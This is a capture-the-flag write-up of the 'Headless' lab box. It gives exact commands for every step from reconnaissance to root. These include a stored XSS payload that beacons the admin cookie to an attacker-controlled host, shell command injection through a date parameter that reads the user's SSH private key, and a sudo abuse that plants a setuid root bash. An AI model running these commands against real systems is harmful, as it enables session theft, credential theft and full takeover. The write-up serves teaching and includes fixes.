Headless
Summary
I scanned the target and found only two exposed services: SSH on port 22 and a Python Flask web application on port 5000. The application's public support form logged the submitter's User-Agent header and later rendered it unsanitised in the administrator's browser, enabling a blind stored cross-site scripting attack. Submitting the form with a JavaScript beacon as the User-Agent caused the payload to fire when the admin reviewed the ticket, exfiltrating the signed admin session cookie.
With that cookie, I accessed the restricted /dashboard, whose date-check feature concatenated user input directly into a shell command. OS command injection through the date parameter executed arbitrary code as application user dvir; I then exfiltrated dvir's SSH private key for a stable interactive shell. Once on the box, I found a password-less sudo rule for /usr/bin/syscheck, which blindly executed initdb.sh from dvir's own home directory.
Overwriting that file with a malicious script and triggering syscheck via sudo ran my own commands as root, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export COOKIE="<the-session-cookie-you-captured>"Attack path — how the box was taken
Exact commands 1
Full TCP scan with version and default script detection against the target.
$ nmap -sV -sC -p- --min-rate 5000 -oA headless_nmap $TARGET
22/tcp open ssh OpenSSH 9.2p1
5000/tcp open http Werkzeug httpdExact commands 2
Retrieve the application root to identify routes, links, and technology hints.
$ curl -sS -i http://$TARGET:5000/Brute-force common paths; reveals /support and /dashboard.
$ ffuf -u http://$TARGET:5000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403Exact commands 2
Start cookie-beacon listener on my machine (run in background); replace 8080 with your chosen port.
$ python3 -m http.server 8080Submit support ticket with XSS payload in User-Agent; replace $ATTACKER_IP:8080. When admin reviews the ticket the script fires and POSTs the cookie to your listener.
$ curl -sS -X POST http://$TARGET:5000/support -H "User-Agent: <script>var i=new Image();i.src='http://$ATTACKER_IP:8080/?c='+document.cookie</script>" --data 'fname=test&lname=test&email=test@test.com&subject=help&message=test'FixSanitise HTTP header values before rendering them in any admin view, and harden the session cookieCritical
Exact commands 1
Confirm the stolen cookie grants admin dashboard access.
$ curl -sS -b "is_admin=$COOKIE" http://$TARGET:5000/dashboardExact commands 2
Confirm command injection; response body should include uid=1000(dvir).
$ curl -sS --max-time 6 -b "is_admin=$COOKIE" -X POST "http://$TARGET:5000/dashboard" --data-urlencode 'date=2023-09-15;id' | sed -n '1,120p'Read the user flag via command injection; output should be <user.txt>.
$ curl -sS --max-time 6 -b "is_admin=$COOKIE" -X POST "http://$TARGET:5000/dashboard" --data-urlencode 'date=2023-09-15;cat /home/dvir/user.txt' | sed -n '/output-content/,/<\/div>/p' | sed -E 's/<[^>]+>//g' | sed '/^[[:space:]]*$/d'FixValidate the date parameter strictly and never pass user input to a shell commandCritical
Exact commands 2
Exfiltrate dvir's SSH private key via command injection and save it locally.
$ curl -sS --max-time 6 -b "is_admin=$COOKIE" -X POST "http://$TARGET:5000/dashboard" --data-urlencode 'date=2023-09-15;cat /home/dvir/.ssh/id_rsa' | sed -n '/output-content/,/<\/div>/p' | sed -E 's/<[^>]+>//g' | sed '/^[[:space:]]*$/d' > /tmp/headless_keySet required key permissions and open an interactive SSH session as dvir.
$ chmod 600 /tmp/headless_key && ssh -i /tmp/headless_key -o StrictHostKeyChecking=no dvir@$TARGETExact commands 3
Run as dvir over SSH — confirms (root) NOPASSWD: /usr/bin/syscheck.
$ sudo -lInspect the syscheck script to confirm it calls initdb.sh from a dvir-writable path.
$ cat /usr/bin/syscheckWrite malicious initdb.sh, trigger syscheck as root, and read the root flag. Output should be <root.txt>.
$ ssh -i /tmp/headless_key -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dvir@$TARGET 'cd /home/dvir && cat > initdb.sh <<"EOF"
#!/bin/bash
cat /root/root.txt > /tmp/rootflag
chmod 644 /tmp/rootflag
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x initdb.sh
sudo /usr/bin/syscheck >/tmp/syscheck.out 2>&1
cat /tmp/rootflag'FixRemove the password-less sudo rule for syscheck and ensure root-executed scripts are root-owned and immutableCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) |
| 5000/tcp | http Werkzeug httpd 2.2.2 (Python 3.11.2) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.